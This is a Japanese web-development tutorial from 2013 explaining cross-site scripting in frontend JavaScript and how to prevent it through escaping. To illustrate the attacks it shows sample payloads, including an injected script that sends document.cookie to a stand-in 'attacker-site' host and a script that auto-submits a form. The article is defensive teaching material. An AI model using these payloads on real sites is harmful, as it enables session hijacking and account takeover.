実践
フロントエンド開発のためのセキュリティ
第1回 XSSの傾向と対策

本シリーズではフロントエンドの開発に関係するセキュリティについて、理解を深めます。第1回目はXSS(クロスサイトスクリプティング)です。実装失敗例を挙げつつ、対策のポイントを解説します。

2013年06月06日発行

目次

セキュリティはサーバーサイドの問題?

セキュリティに関わるミスは「知らなかった」ではすまされない場合が、往々にしてあります。

ちょっとしたミスでプログラムにバグを作ってしまい、サービスが一部動かなくなったとしても程度にもよりますが、すぐに修正すれば一部のユーザーに少し不便をかけてしまう程度ですむでしょう*。

*注:サービス運営

この記事ではセキュリティの技術的な側面を扱います。ユーザーに不便をかけてしまったことに対するサービス提供側の倫理的問題についてはそのつど言及はしませんが、これらの側面を軽視すべきでないことはいうまでもありません。

しかしちょっとしたミスで脆弱性を作ってしまったことで、ユーザーのパスワードが盗まれたり、セッションを乗っ取られるということになれば、ユーザーに被害を与え、サービスの深刻な信用問題になります。

そのようなことにならないように、Webサービスに関わる人はセキュリティに関する正しい知識を身に付け、安全なサービスを提供できるようにしなければいけません。

本シリーズではフロントエンドの開発に関係するセキュリティについて扱います。セキュリティというと、ほとんどサーバーサイドで対応するものだと思う方もいるかもしれません。しかし、フロントエンドでもJavaScriptのプログラムなどで脆弱性を作ってしまうケースは、大いにありうることなのです。

フロントエンドの開発ではどのような脆弱性に気をつければよいのか、安全なコンテンツを作るためにどのような仕様が策定され、ブラウザに実装されているのかといったことを中心に解説していきます。

第1回目はクロスサイトスクリプティング(以後XSS)について解説します。

XSSとはなにか

XSSはユーザーが入力したデータに対して、しかるべきエスケープをし忘れたり、エスケープの処理を間違えることで、任意のスクリプトが実行される脆弱性です。Cross Site ScriptingなのでCSSという略語が正しいのですが、Cascading Style SheetsのCSSと同じになり紛らわしいので、XSSと略されることがほとんどです。

次のコードは典型的なXSSの例です。

var hash = location.hash.slice(1);
$('body').html(hash);

URLのハッシュ値を取得してjQueryのhtmlメソッドでbodyにハッシュの文字列を追加しています。location.hashには#xxxという文字列が入るので最初の#を除くためにslice(1)としています。

このような何の意味もないコードを書く人はいないと思いますが、まずはもっとも単純なコードで解説します。

このJavaScriptコードを書いたサイトに、次のようなURLでアクセスします。

http://my-web-app/index.html#Hello!

そうするとブラウザにはHello!と表示されます。では次のURLでアクセスするとどうなるでしょう。

http://my-web-app/index.html#<script>alert(1)</script>

ハッシュ値である<script>alert(1)</script>が、そのままbodyに埋め込まれ、script要素のなかのJavaScriptが実行されます。このように、任意のスクリプトを実行できる脆弱性がXSSです。

この場合、上記のようなURLを作った人を攻撃者、このURLに遷移してしまった人を被害者と考えてください。

この例はURLから取得した文字列を表示するケースのXSSですが、ユーザーが入力したデータを表示する場合は、URLの文字列に限らずXSSの危険性があります。どのようなケースでXSSが起きやすいかについては後半に解説しますので、まずは攻撃者が強制的に任意のスクリプトを実行させることができる脆弱性がXSSであると理解して読み進めてください。

XSSを利用したセッションハイジャック

アラートを出すだけでは被害者にとっては、ただの嫌がらせ程度にしかなりません。しかしXSSがあると、さまざまな攻撃ができる可能性があります。XSSがあることによって攻撃者はどのような手口で攻撃する可能性があるのかを見ていきましょう。

例えば、ログインが必要なサイトにXSSがあるとCookieが盗まれ、攻撃者が、自分以外のユーザー(=被害者)になりすましてログインできるようになる可能性があります。

前述のような、script要素の中のJavaScriptが実行できるXSSがあった場合、攻撃者は次のようなURLを用意します。

http://my-web-app/index.html#<script>(new Image).src = 'http://attacker-site/log?' + document.cookie</script>

ユーザーがこのURLをクリックしてしまうと、攻撃者のサイトにCookieの値が送信されてしまいます。このような怪しいURLは誰もクリックしないと思うかもしれませんが、他の脆弱性があるサイトを踏み台にして、強制的に遷移させられるという可能性はありますし、短縮URLで本当のURLを隠されると、クリックしてしまう確率は上がるでしょう。

どのような仕組みでCookieが送信されるか見てみましょう。わかりやすいようにスクリプトだけ抜き出すと次のようになっています。

(new Image).src = 'http://attacker-site/log?' + document.cookie

img要素を作り、src属性値には攻撃者のサイトにdocument.cookieをくっ付けたものを指定しています。こうすることにより、攻撃者のサイトにリクエストが送信され、攻撃者のサーバーにCookie付きのログが残ります。後は攻撃者がこのCookieを自分のブラウザにセットしてmy-web-appにアクセスすれば、被害者ユーザーになりすましてログインできます。これをセッションハイジャックといいます。

ちなみに、CookieにはHttpOnlyという属性があり、これを有効にしておくとJavaScriptからCookieを利用できなくなり、Cookie漏洩のリスクを減らすことができます。特別に理由がない限り、セッションのCookieにはこれを設定しておくべきです。

XSSを利用した不正投稿

2010年9月に起きたTwitterのXSS騒動を覚えている方はいるでしょうか。特定の条件のツイートをすると任意のスクリプトが実行できるというもので、それを利用してツイートのリンクにマウスオーバーしたユーザーは勝手にそのツイートをリツイートしていまうというワーム*が出回りました。

Twitterブログ:「マウスオーバーの」問題についての全容

*注:ワーム

悪意を持って作られた自己増殖機能があるプログラム。ファイルなどに常駐する必要がなく、ネットワークを介して広がっていくことができます。

このTwitterの例のように、ユーザーがなにかデータを投稿できるページでXSSが発生してしまうと、ユーザーの意思に反して勝手に投稿されてしまうという攻撃を受ける可能性があります。

攻撃方法はそのページよってさまざまでしょうが、次のようなコードが考えられます。

var form = document.querySelector('.postForm');
var textarea = form.querySelector('textarea');
 
textarea.value = '任意のテキスト';
form.submit();

このようなスクリプトを強制的に実行されるように仕掛ければ、被害者のアカウントで勝手にツイートされてしまう可能性があります*。

*注:現在のTwitterサイト

実際には現在のTwitterのサイトはそこまで単純ではなく、上記のコードを実行してもツイートはされません。

任意のスクリプトが実行できるということは、そのページのフォームを送信させたり、任意の要素をクリックさせることができるのです。本来このような動作はサイトにアクセスした本人の意思でしかできないようになっていますが、XSSがあることにより他人に強制的に実行させることができるということです。

このTwitterのXSSがどのようなケースで起こりうるかについては後述します。

XSSを利用したフィッシング

次にXSSを利用したフィッシングを考えてみましょう。仮にTwitterでXSSが発生し、Twitterのトップページ(タイムラインのページ)に遷移しただけで次のようなスクリプトが強制的に実行されるとします。

document.documentElement.innerHTML = 'TwitterのログインページのHTML';

このように、ページのHTMLをまるごと書き換え、CSSでTwitterのログインページと、まったく同じ見た目のページにします。そうするとユーザーは単にセッションが切れただけかと勘違いして、偽のログインページに、ユーザー名とパスワードを簡単に入力してしまう可能性があります。念入りに偽装するなら、history APIで/loginにURLを変更することもできます。

そして偽のログインフォームでユーザー名とパスワードをポストしたときに攻撃者のサイトへその情報を送信するようにすれば、攻撃者は被害者のユーザー名とパスワードを入手できます。

まったくTwitterに関係なさそうなリンクをクリックしてtwitter.comではないドメインに遷移し、Twitterのログインフォームがでてくれば、さすがに警戒して入力しないと思います。しかし自分でTwitterのページを開き、twitter.comのドメインでログインページがでれば、フィッシングだと気づくのは至難の業でしょう。

このように、XSSが存在するとHTMLさえ自由自在に書き換えることができ、非常に危険であることがわかると思います。

コラム:任意のスクリプトが実行できてもよいサービス

ユーザーが任意のスクリプトを実行できるのはXSSであると述べましたが、JavaScriptを実行するためのWebサービスも最近は多くあります。jsdo.itjsfiddleなどが有名です。

ではそれらはなぜ脆弱性を作らずに任意のスクリプトが実行できるのでしょうか? それはJavaScriptの実行を別ドメインにして、本体のドメインでは、それをiframeで実行しているからです。

例えばjsdo.itは、本体のドメインはjsdo.itですが、ユーザーが記述したJavaScriptを実行するドメインはjsrun.itとなっており、本体のjsdo.itドメインで実行されることは絶対にありません。このように設計することで、任意のスクリプトを実行しても、セキュリティに影響がでないようにしているのです。

URLからHTMLを作る場合

ここまでで、XSSによってどのような攻撃を受けるかを解説してきました。ここからはフロントエンドではどのようなケースでXSSが起きやすく、どのようにして防げばよいかについて解説します。

まずは検索のページをJavaScriptで実装するケースについて考えてみましょう。最近ではJavaScriptを使って動的にインクリメンタル検索などを行うサイトも多いので、このような処理は現実的にありそうです。

今回は検索の処理は本題ではないので省略し、検索ワードの初期表示の部分だけを見ていきます。初期表示の検索ワードはハッシュ値で持たせることにし、#wordというハッシュ値付きのURLでアクセスされたらwordを検索ワードとして表示する処理を記述します。

// 検索ワードを得る
var query = location.hash.slice(1);
 
// 検索ワードを表示
var $h1 = $('.result h1');
$h1.html(query + 'の検索結果');
 
// 検索処理
// ...(省略)

検索ワードをjQueryのhtmlメソッドを使ってタイトル部分に「wordの検索結果」と表示しています。これは最初の例と同様に、典型的なXSS脆弱性です。例えばURLを次のすると任意のスクリプトを実行できます。

http://my-web-app/search.html#<script>alert(1)</script>

これは次のように展開されるためJavaScriptが実行されてしまいます。

<h1><script>alert(1)</script>の検索結果</h1>

このようなXSSを防ぐためには、jQueryを使うのであればhtmlメソッドの代わりにtextメソッドを使います。

$h1.text(query + 'の検索結果');

textメソッドは文字列を安全にエスケープした上でDOMツリーに追加するので安全です。textメソッドを使った場合、先ほどのURLは次のように展開されます。

<h1>&lt;script&gt;alert(1)&lt;/script&gt;の検索結果</h1>

<script>タグがエスケープされるのでHTMLに埋め込んでもJavaScriptは実行されません。

今回は検索という例でしたが、この例に限ったことではなく、URLからの入力をHTMLに表示する場合は、常にこのような点に注意する必要があります。

jQueryの利用によるXSS

もうひとつURLからの入力によるXSSの例を見てみましょう。次の例を見てください。

<div class="page" id="top" hidden>...</div>
<div class="page" id="about" hidden>...</div>
<div class="page" id="article" hidden>...</div>
var $pages = $('.page');
 
// ハッシュ値が変わったらページを切り替える
$(window).bind('hashchange', function() {
  $pages.hide();
  $(location.hash).show();
});
 
// 初期表示
$(location.hash).show();

ハッシュ値を使ってページを切り替えるサイトというのはよくあります。$(location.hash)とすると、例えばハッシュ値が#aboutだった場合は$('#about')となりますので、idaboutの要素を取得できます。

実際にこのような処理をしているサイトは多くあるのですが、これはjQueryの古いバージョン(1.6.2以前)ではXSSになります。

例えばURLを次のようにしたとします。

http://my-web-app/#<img onerror="alert(1)" src="xxx">

そうすると次のように処理されます。

$('#<img onerror="alert(1)" src="xxx">')

jQueryの$()は要素の検索や作成などを引数の文字列で判断して処理を切り替えます。jQueryの1.6.2以前は#から始まった場合でも後続の文字列がHTMLのタグだった場合は要素の作成として扱われていました。

つまり、$('#<img>')$('<img>')とみなされて処理されていたのです。したがってimg要素が作成され、xxxが存在しなければonerror属性値のスクリプトが実行され、XSSが成立してしまうのです。

これは1.6.3で修正され、#から始まる場合は必ずidからの検索としてみなされるようになり、要素が作成されることはないので安心です。しかし、もし古いバージョンのjQueryを利用している場合は注意が必要です。

サーバーから取得したデータをレンダリングする場合

次にサーバーからデータをAPIで取得し、クライアント側でHTMLを組み立てる場合を考えてみましょう。こういうアプリケーションの場合、テンプレートエンジンを用いられることが多いでしょう。

次のコードを見てください。

[
  {
    "id": 1,
    "name": "hokaccha",
    "comment": "こんにちはこんにちは"
  },
  ...
]
var tmpl = [
  '<ul>',
  '  <% users.forEach(function(user) { %>',
  '    <li>',
  '      <p>name: <%= user.name %></p>',
  '      <p>comment: <%= user.comment %></p>',
  '    </li>',
  '  <% }) %>',
  '</ul>'
].join('\n');
 
$.get('/users.json', function(users) {
  var html = _.template(tmpl, { users: users });
  $('.users').html(html);
});

ユーザーの情報を取得してきて、Underscore.js*のテンプレート機能を使ってHTMLをクライアントサイドでレンダリングしている例です。

*注:Underscore.js

Underscore.jsに関しては、おすすめライブラリつまみ食いシリーズの第2回目第3回目で紹介されています。

ここでユーザーの情報であるnamecommentはユーザーが任意で入力できるものとします。例えばユーザーがcommentフィールドを変更して次のようなデータになったとします。

[
  {
    "id": 1,
    "name": "hokaccha",
    "comment": "<script>alert(1)</script>"
  },
  ...
]

このようなデータを先ほどのUnderscoreのtemplateを使ったコードでレンダリングするとalertが実行され、XSSであることがわかります。これはユーザーが入力したデータをエスケープしていないからです。

ほとんどのテンプレートエンジンではエスケープを自動で行うための仕組みを持っています。Underscore.jsでは<%= %>の代わりに<%- %>という表記を使うことでエスケープを行います。先ほどの例は次のようにすることで、安全に出力することができます。

var tmpl = [
  '<ul>',
  '  <% users.forEach(function(user) { %>',
  '    <li>',
  '      <p>name: <%- user.name %></p>',
  '      <p>comment: <%- user.comment %></p>',
  '    </li>',
  '  <% }) %>',
  '</ul>'
].join('\n');

また、APIの結果を最初からエスケープされたものにするというのも、ひとつの方法です。サーバー側でエスケープする場合は、次のようなデータになって返ってくることが期待されます。

[
  {
    "id": 1,
    "name": "hokaccha",
    "comment": "&lt;script&gt;alert(1)&lt;/script&gt;"
  },
  ...
]

このデータはエスケープされた安全なデータという前提なので、JavaScriptではエスケープ処理はしません。JavaScript側でもエスケープ処理をしてしまうと二重でエスケープをしてしまうことになり、意図した結果になりませんので注意が必要です。二重エスケープやエスケープ漏れを防ぐために、エスケープの処理はサーバーサイドとクライアントサイドのどちらで行うかを、あらかじめ決めておく必要があります。

テキストにリンクを張る場合

最後は少し複雑なケースを紹介します。ユーザー入力のテキストを単にエスケープして表示させるだけの場合、エスケープ忘れさえなければXSSが起きる可能性はほとんどありません。しかし、ユーザー入力のテキストを加工して表示する場合は、処理が複雑になりXSSが発生しやすい場合があります。

次の例を見てください。

このURLに<b>アクセス</b>してね! http://example.com/

このようなユーザー入力のテキストがあったとき、httpから始まるテキストに自動でリンクを張りたかったとします。URL以外のテキストはエスケープも行わないといけないので、次のようにしたとします。

var urlExpr = 'https?://[^\\s]+';
var entityExpr = '[<>&"\']';
var expr = new RegExp([urlExpr, entityExpr].join('|'), 'g');
 
text = text.replace(expr, function(m) {
  if (m.match(urlExpr)) {
    return '<a href="' + m +'">' + m + '</a>';
  }
  if (m.match(entityExpr)) {
    return ({
      '<': '&lt;',
      '>': '&gt;',
      '&': '&amp;',
      '"': '&quot;',
      "'": '&#39;'
    })[m];
  }
});
 
$('.text').html(text);

URLのマッチングなどはかなり適当ですので、あくまで例として見てください。上記のフィルタに冒頭のテキストを適用すると次のようになります。

このURLに&lt;b&gt;アクセス&lt;/b&gt;してね! <a href="http://example.com/">http://example.com/</a>

httpから始まるテキストにはリンクが張られ、それ以外のテキストはしっかりエスケープされているのがわかります。

一見うまくいくように見えますが、次のようなテキストが入力されると任意のスクリプトが実行されてしまいます。

http://example.com/"onmouseover="alert(1)"

これは上記の変換をかけると次のようになります。

<a href="http://example.com/"onmouseover="alert(1)"">http://example.com/"onmouseover="alert(1)"</a>

a要素のhref属性値がhttp://example.com/で閉じられて、その後のonmouseoverが有効になっているのがわかります。このようなXSSを防ぐためにはURLの文字列も適切にエスケープする必要があります。

前述したTwitterで以前発生したXSSは、これと似たような処理のミスが原因でした。Twitterの場合は@から始まる文字列をユーザーにリンクしたり、#から始まる文字列をハッシュタグとしてリンクしたりと、もっと複雑なケースではありましたが、テキストのパース処理*を少し間違えるだけでも、大きな被害になるということがわかる事例でもありました。

*注:テキストのパース処理

TwitterのデータをAPIなどで取得してきて、URLや@#などにリンクを張りたい場合は自前でやらず、Twitter公式から自動リンク用のスクリプトが配布されているので、そちらを使うのが安全です。

まとめ

今回はXSSが及ぼす影響や、フロントエンドの開発で気をつける点について解説しました。XSSで気をつけないといけないのは、ユーザーが入力するデータをきちんとエスケープするということに尽きます。

ユーザーから入力されるデータはほとんどの場合、URLかデータベースのデータ(サーバーサイドからAPIなどを通じて取得するデータ)です。これらのデータを気をつけてエスケープすれば多くのXSSは防ぐことができますので、その部分に注意して実装してみてください。

次回はXSSによる被害を大きく減らすことができる可能性のある、W3CのContent Security Poricy(執筆現在2012年11月15日付け勧告候補)という仕様を紹介し、それを利用するにあたってフロントエンドの開発にどのような影響があるかを解説します。

外村 和仁
外村 和仁
フロントエンド・エンジニア

HTMLコーダー、JavaScriptプログラマ、PHP、Perlのプログラマといった職務を経験後、2010年に株式会社ピクセルグリッドに入社。大規模サイトの運用、開発の経験を活かしてバックエンドからフロントエンドまで幅広く担当。2015年、退社。好きな言語はJavaScriptとRuby。 著書に『ノンプログラマのためのJavaScriptはじめの一歩』(単著:技術評論社、2012年11月7日)があり、共著も多数。このほか、WEB+DB PRESS、Software Designなどにも寄稿。